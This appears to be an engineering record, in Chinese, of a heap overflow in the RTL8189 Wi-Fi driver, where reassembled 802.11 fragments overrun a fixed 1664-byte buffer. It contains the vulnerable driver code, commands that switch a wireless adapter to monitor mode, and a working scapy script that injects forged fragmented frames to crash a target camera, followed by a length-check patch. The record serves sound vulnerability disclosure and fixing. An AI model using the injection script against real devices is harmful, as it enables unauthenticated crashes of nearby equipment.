802.11分片帧攻击漏洞处理记录

背景

部分使用RTL8189的设备由于驱动的一个堆溢出bug,设备在收到分片包时没有检查包长度,导致设备可能发生崩溃甚至是恶意代码注入。

驱动版本

rtl8189FS_linux_v4.3.24.7_21113.20170208

问题代码位置

driver/wifi/rtl8189ftv/core/rtw_recv.c 2667

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
union recv_frame * recvframe_defrag(_adapter *adapter,_queue *defrag_q)
{
_list *plist, *phead;
u8 *data,wlanhdr_offset;
u8 curfragnum;
struct recv_frame_hdr *pfhdr,*pnfhdr;
union recv_frame* prframe, *pnextrframe;
_queue *pfree_recv_queue;

_func_enter_;

curfragnum=0;
pfree_recv_queue=&adapter->recvpriv.free_recv_queue;

phead = get_list_head(defrag_q);
plist = get_next(phead);
prframe = LIST_CONTAINOR(plist, union recv_frame, u);
pfhdr=&prframe->u.hdr;
rtw_list_delete(&(prframe->u.list));

if(curfragnum!=pfhdr->attrib.frag_num)// [1] <==
{
//the first fragment number must be 0
//free the whole queue
rtw_free_recvframe(prframe, pfree_recv_queue);
rtw_free_recvframe_queue(defrag_q, pfree_recv_queue);

return NULL;
}

#if defined(CONFIG_SDIO_HCI) || defined(CONFIG_GSPI_HCI)
#ifndef CONFIG_SDIO_RX_COPY
recvframe_expand_pkt(adapter, prframe);
#endif
#endif

curfragnum++;

plist= get_list_head(defrag_q);

plist = get_next(plist);

data=get_recvframe_data(prframe);

while(rtw_end_of_queue_search(phead, plist) == _FALSE)
{
pnextrframe = LIST_CONTAINOR(plist, union recv_frame , u);
pnfhdr=&pnextrframe->u.hdr;


//check the fragment sequence (2nd ~n fragment frame)

if(curfragnum!=pnfhdr->attrib.frag_num)// [2] <==
{
//the fragment number must be increasing (after decache)
//release the defrag_q & prframe
rtw_free_recvframe(prframe, pfree_recv_queue);
rtw_free_recvframe_queue(defrag_q, pfree_recv_queue);
return NULL;
}

curfragnum++;

//copy the 2nd~n fragment frame's payload to the first fragment
//get the 2nd~last fragment frame's payload

wlanhdr_offset = pnfhdr->attrib.hdrlen + pnfhdr->attrib.iv_len;

recvframe_pull(pnextrframe, wlanhdr_offset);

//append to first fragment frame's tail (if privacy frame, pull the ICV)
recvframe_pull_tail(prframe, pfhdr->attrib.icv_len);

//memcpy
_rtw_memcpy(pfhdr->rx_tail, pnfhdr->rx_data, pnfhdr->len);// [3] <==

recvframe_put(prframe, pnfhdr->len); // [4]

pfhdr->attrib.icv_len=pnfhdr->attrib.icv_len;
plist = get_next(plist);

};

//free the defrag_q queue and return the prframe
rtw_free_recvframe_queue(defrag_q, pfree_recv_queue);

RT_TRACE(_module_rtl871x_recv_c_,_drv_info_,("Performance defrag!!!!!\n"));

_func_exit_;

return prframe;
}

  1. 检查第一包数据的分片号是否为0;
  2. 遍历其他数据包,检查分片号是否是递增的,如果不是则清除退出。
  3. 如果是递增的,则_rtw_memcpy到缓冲区(skb_buffer)。
  4. 调用 recvframe_put(prframe, pnfhdr->len) 来更新 sk_buff 的长度。
  5. 注意recvframe_expand_pkt(adapter, prframe);这个函数。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
static void recvframe_expand_pkt(
PADAPTER padapter,
union recv_frame *prframe)
{
struct recv_frame_hdr *pfhdr;
_pkt *ppkt;
u8 shift_sz;
u32 alloc_sz;
u8 *ptr;


pfhdr = &prframe->u.hdr;

/* 6 is for IP header 8 bytes alignment in QoS packet case. */
if (pfhdr->attrib.qos)
shift_sz = 6;
else
shift_sz = 0;

/* for first fragment packet, need to allocate */
/* (1536 + RXDESC_SIZE + drvinfo_sz) to reassemble packet */
/* 8 is for skb->data 8 bytes alignment.
* alloc_sz = _RND(1536 + RXDESC_SIZE + pfhdr->attrib.drvinfosize + shift_sz + 8, 128); */
alloc_sz = 1664; /* round (1536 + 24 + 32 + shift_sz + 8) to 128 bytes alignment */

/* 3 1. alloc new skb */
/* prepare extra space for 4 bytes alignment */
ppkt = rtw_skb_alloc(alloc_sz);

if (!ppkt)
return; /* no way to expand */

/* 3 2. Prepare new skb to replace & release old skb */
/* force ppkt->data at 8-byte alignment address */
skb_reserve(ppkt, 8 - ((SIZE_PTR)ppkt->data & 7));
/* force ip_hdr at 8-byte alignment address according to shift_sz */
skb_reserve(ppkt, shift_sz);

/* copy data to new pkt */
ptr = skb_put(ppkt, pfhdr->len);
if (ptr)
_rtw_memcpy(ptr, pfhdr->rx_data, pfhdr->len);

rtw_skb_free(pfhdr->pkt);

/* attach new pkt to recvframe */
pfhdr->pkt = ppkt;
pfhdr->rx_head = ppkt->head;
pfhdr->rx_data = ppkt->data;
pfhdr->rx_tail = skb_tail_pointer(ppkt);
pfhdr->rx_end = skb_end_pointer(ppkt);
}

alloc_sz = 1664; 如果发的包大于这个数会造成溢出。

复现环境

  • 硬件:
    • V3 camera with RTL8189 wifi,任意固件版本。
    • mediatek Ralink USB无线网卡,如AE1000,MT7601等,任选其一。(其他厂家网卡似乎对于802.11帧有校验除错,无法发送自己构造的帧。)
  • 软件:
    • Kali linux:6.5.0-kali3-amd64
    • airmon-ng
    • Python 3.11.4
    • scapy 2.5.0
    • wireshark
    • 上述软件包均集成在Kali发行版中。如果使用其他版本linux,如ubuntu,则需要自己安装。

原理

帧分片技术的实现主要有两个标志位,一个是位于Frame Control中的More Frag字段,其与分片模式下的传输机制有关,另外一个是用于维护分片序列片段的序列号,位于Seq-ctl字段。

WireShark抓包数据

Seq-ctl字段主要包含了两个部分。一个部分是用于分片的序列号(Fragment Number),其初始为0,每新增一次分片其会增加1。另外一个部分是Sequence Number,这个序列号主要是为了维护ACK的,也是从0开始计数,如果满了以后那么循环为0,重新计数。

在Realtek的驱动代码中,驱动在第一帧数据到来时为帧数据缓存开辟了一块固定大小(1664字节)的堆空间,之后将后续的每帧数据都直接写进这个缓存,没有判断大小。当所有分片的数据总量超过1664时,会产生堆溢出。这会导致系统崩溃或恶意注入。

复现步骤

1. 构建一个热点

使用手机、路由器或其他设备,创建一个wifi(任意安全性)。并确认好这个wifi的BSSID和信道。

2. 关联设备到这个wifi

3. 网卡开启监听模式

如果使用比较新的网卡,如AE1000,在kali linux中,运行以下命令:

1
2
3
4
5
#开启网卡监听模式
sudo airmon-ng check kill
sudo airmon-ng start wlan0
#设置网卡信道
sudo iwconfig wlan0mon channel 1

比较老的网卡,如MT7601,在kali linux中,运行以下命令:

1
2
3
sudo iw dev wlan0 interface add wlan0mon type monitor
sudo ifconfig wlan0mon up
sudo iwconfig wlan0mon channel 1

4.(可选)开启wireshark观察数据包

使用以下过滤器:

1
wlan.da == 7c:78:b2:10:13:5e or wlan.sa == 7c:78:b2:10:13:5e or wlan.ta == 7c:78:b2:10:13:5e

其中,7c:78:b2:10:13:5e是camera的mac地址。

成功后可以看到数据包传输。如果看不到任何数据包,检查无线网卡信道是否和目标wifi信道一致。

5. 发送恶意数据包

运行如下python脚本,注意修改其中的网卡mac等信息。这个脚本会持续的发送分片数据包。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
from scapy.all import *
import time
# 设置恶意数据内容
data = '1' * 1000
def create_qos_data(bssid, client_mac):
# 构造Qos Data包
qos_data = RadioTap() / Dot11(type=2,subtype=8,addr1=client_mac, addr2=bssid, addr3=bssid, FCfield="from-DS", SC=0x0000)
qos_data.FCfield |= 0x4 # 0b1000
qos_data /= data
# 发送Qos Data包
sendp(qos_data, iface="wlan0mon")
def create_qos_data1(bssid, client_mac):
# 构造Qos Data包
qos_data = RadioTap() / Dot11(type=2,subtype=8,addr1=client_mac, addr2=bssid, addr3=bssid, FCfield="from-DS", SC=0x0011)
# 设置More Fragments标志
qos_data.FCfield |= 0x4 # 0b1000
qos_data /= data
# 发送Qos Data包
sendp(qos_data, iface="wlan0mon")
def create_qos_data2(bssid, client_mac):
# 构造Qos Data包
qos_data = RadioTap() / Dot11(type=2,subtype=8,addr1=client_mac, addr2=bssid, addr3=bssid, FCfield="from-DS", SC=0x0022)
# 设置More Fragments标志
#qos_data.FCfield |= 0x4 # 0b1000
qos_data /= data
# 发送Qos Data包
sendp(qos_data, iface="wlan0mon")

if __name__ == "__main__":
bssid = "02:1c:fa:75:89:ce" # 替换为AP的MAC
client_mac = "7C:78:B2:10:13:5E" # 替换为你要响应的客户端的MAC地址
while 1:
create_qos_data(bssid, client_mac)
create_qos_data1(bssid, client_mac)
create_qos_data2(bssid, client_mac)
time.sleep(1)

6. 观察设备现象

设备崩溃重启。
Call Trace

修复测试

在memcpy之前检查数据包长度,并计算累计分片的数据包长度。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
unsigned int fragment_len;
fragment_len=0;
...
if(pfhdr->len >= 1664)
{
rtw_free_recvframe(prframe, pfree_recv_queue);
rtw_free_recvframe_queue(defrag_q, pfree_recv_queue);
printk("pfhdr->len = %d, return\n",pfhdr->len);
return NULL;
}
...
fragment_len += pnfhdr->len;
if(fragment_len >= 1664)
{
rtw_free_recvframe(prframe, pfree_recv_queue);
rtw_free_recvframe_queue(defrag_q, pfree_recv_queue);
printk("fragment_len = %d, return\n",fragment_len);
return NULL;
}
...
recvframe_pull(pnextrframe, wlanhdr_offset);
printk("pnfhdr->len = %d, fragment_len = %d\n",pnfhdr->len,fragment_len);
_rtw_memcpy(pfhdr->rx_tail, pnfhdr->rx_data, pnfhdr->len);

使用修改后的驱动重复上面的步骤复现。

驱动不会将溢出的数据进行memcpy。也就不会出现崩溃和堆溢出。